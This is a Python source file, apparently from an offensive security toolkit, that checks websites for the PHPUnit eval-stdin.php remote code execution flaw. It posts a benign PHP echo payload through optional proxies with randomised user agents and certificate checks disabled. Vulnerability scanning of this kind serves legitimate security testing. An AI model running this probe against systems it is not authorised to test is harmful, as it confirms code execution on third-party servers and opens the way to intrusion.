from bane.scanners.vulnerabilities.utils import *

class PHP_Unit_Exploit_Scanner:

    @staticmethod
    def scan(
        u,
        path="/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
        user_agent=None,
        cookie=None,
        timeout=10,
        headers={},
        http_proxies=None,
        socks4_proxies=None,
        socks5_proxies=None
        ):
        proxies=Proxies_Interface.get_requests_proxies_from_parameters(http_proxies=http_proxies,socks4_proxies=socks4_proxies,socks5_proxies=socks5_proxies)
        if u[len(u) - 1] == "/":
            u = u[0 : len(u) - 1]
        if user_agent:
            us = user_agent
        else:
            us = random.choice(Common_Variables.user_agents_list)
        hed = {"User-Agent": us}
        if cookie:
            hed.update({"Cookie": cookie})
        hed.update(headers)
        try:
            r = requests.Session().post(
                u + path,
                data="<?php echo 'This_is_vulnerable_site';?>",
                headers=hed,
                proxies=Vulnerability_Scanner_Utilities.setup_proxy(proxies),
                timeout=timeout,
                verify=False,
            ).text
            if "This_is_vulnerable_site" in r:
                return True
        except:
            pass
        return False

